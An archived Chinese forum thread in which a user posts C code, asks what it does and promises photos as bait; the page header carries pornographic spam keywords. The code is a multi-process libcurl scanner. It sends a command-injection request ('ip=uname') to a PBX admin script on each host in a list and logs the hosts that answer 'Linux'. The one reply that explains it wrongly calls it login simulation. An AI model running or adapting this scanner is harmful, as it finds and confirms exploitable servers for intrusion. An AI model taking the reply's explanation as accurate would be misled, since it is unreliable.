亚洲av成人无遮挡网站在线观看,少妇性bbb搡bbb爽爽爽,亚洲av日韩精品久久久久久,兔费看少妇性l交大片免费,无码少妇一区二区三区

  免費注冊 查看新帖 |

Chinaunix

  平臺 論壇 博客 文庫
最近訪問板塊 發(fā)新帖
查看: 3385 | 回復(fù): 3
打印 上一主題 下一主題

大俠們,這段代碼主要是干什么用的?另附美女靚圖,不看后悔哦! [復(fù)制鏈接]

論壇徽章:
0
跳轉(zhuǎn)到指定樓層
1 [收藏(0)] [報告]
發(fā)表于 2011-07-05 11:56 |只看該作者 |倒序瀏覽
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <curl/curl.h>
#include <curl/types.h>
#include <curl/easy.h>
#include <sys/types.h>
#include <stdlib.h>
#include <memory.h>
#include <assert.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define BOLDYELLOW  "\033[1m\033[33m"
#define RESET   "\033[0m"

int threads,opterr,c = 0;
char *filename;
char url[256];

void dolog(char *string, char *outfile)
{
    FILE *output;
    output = fopen(outfile, "aw+");
    fprintf(output,"%s\n",string);
    fclose(output);
}

size_t  write_data(void *ptr, size_t size, size_t nmemb, FILE *stream)
{
  char buf[size*nmemb+1];
  char * pbuf=&buf[0];
  memset(buf,'\0',size*nmemb+1);
  size_t i = 0;
  for(;i<nmemb;i++)
  {
    strncpy(pbuf,ptr,size);
    pbuf += size;
    ptr += size;
  }
  //printf("%s",buf);
  //printf("%d\n",strcmp("Linux",buf));
  if(!strcmp("Linux\n",buf))
  {
    printf(BOLDYELLOW);
    printf("%s\n",url);
    printf(RESET);
    dolog(url,"wn.log");
  }
  else
    printf("%s\n",url);
  exit(0);
  return size*nmemb;
}

void wazzzup(char *line)
{
    sprintf(url,"https://%s/admin/Y-ivrrecording.php?php=info&ip=uname",line);
    CURL *curl;
    CURLcode res;
    curl = curl_easy_init();
    if(curl)
    {
        curl_easy_setopt(curl,CURLOPT_URL,url);
        curl_easy_setopt(curl,CURLOPT_SSL_VERIFYHOST,0L);
        curl_easy_setopt(curl,CURLOPT_SSL_VERIFYPEER,0L);
        curl_easy_setopt(curl,CURLOPT_WRITEFUNCTION,&write_data);
        res = curl_easy_perform(curl);
        curl_easy_cleanup(curl);
    }
    exit(0);
}

int main (int argc, char **argv)
{
    int childs = 0;
    while ((c = getopt (argc, argv, "f:t:")) != -1)
        switch (c)
        {
        case 't':
            threads = atoi(optarg);
            break;
        case 'f':
            filename = optarg;
            break;
        case '?':
            if(optopt == 't')
                fprintf (stderr, "Option -%c requires an argument.\n", optopt);
            else if (isprint (optopt))
                fprintf (stderr, "Unknown option `-%c'.\n", optopt);
            else
                fprintf (stderr,
                         "Unknown option character `\\x%x'.\n",
                         optopt);
            if(optopt == 'f')
                fprintf (stderr, "Option -%c requires an argument.\n", optopt);
            else if (isprint (optopt))
                fprintf (stderr, "Unknown option `-%c'.\n", optopt);
            else
                fprintf (stderr,
                         "Unknown option character `\\x%x'.\n",
                         optopt);
            return 1;

        default:
            abort();
        }

    if(threads == 0)
    {
        printf("wn:%s -t threads -f file\n",argv[0]);
        exit(0);
    }
    if(filename == NULL)
    {
        printf("wn:%s -t threads -f file\n",argv[0]);
        exit(0);
    }

    FILE *file = fopen(filename,"r");
    if ( file != NULL )
    {
        char line [128];
        while (fgets(line,sizeof line,file ) != NULL)
        {
            if(line[strlen(line)-1] == '\n')
                line[strlen(line)-1] = 0;
            if (childs >= threads)
                wait(NULL);
            switch(fork())
            {
            case 0:
                wazzzup(line);
                exit(0);
            case -1:
                perror("fork");
                exit(-1);
            default:
                childs++;
                break;
                while (childs--)
                    wait(NULL);
            }
        }
        fclose(file);
    }
    else
        perror(filename);
    return 0;
}

論壇徽章:
0
2 [報告]
發(fā)表于 2011-07-05 21:13 |只看該作者
美圖呢??

論壇徽章:
1
天蝎座
日期:2013-12-06 18:23:58
3 [報告]
發(fā)表于 2011-07-05 21:54 |只看該作者
看起來是用libcurl模擬登陸,并記錄日志

論壇徽章:
0
4 [報告]
發(fā)表于 2011-07-05 23:59 |只看該作者
同問 美圖呢?
您需要登錄后才可以回帖 登錄 | 注冊

本版積分規(guī)則 發(fā)表回復(fù)

  

北京盛拓優(yōu)訊信息技術(shù)有限公司. 版權(quán)所有 京ICP備16024965號-6 北京市公安局海淀分局網(wǎng)監(jiān)中心備案編號:11010802020122 niuxiaotong@pcpop.com 17352615567
未成年舉報專區(qū)
中國互聯(lián)網(wǎng)協(xié)會會員  聯(lián)系我們:huangweiwei@itpub.net
感謝所有關(guān)心和支持過ChinaUnix的朋友們 轉(zhuǎn)載本站內(nèi)容請注明原作者名及出處

清除 Cookies - ChinaUnix - Archiver - WAP - TOP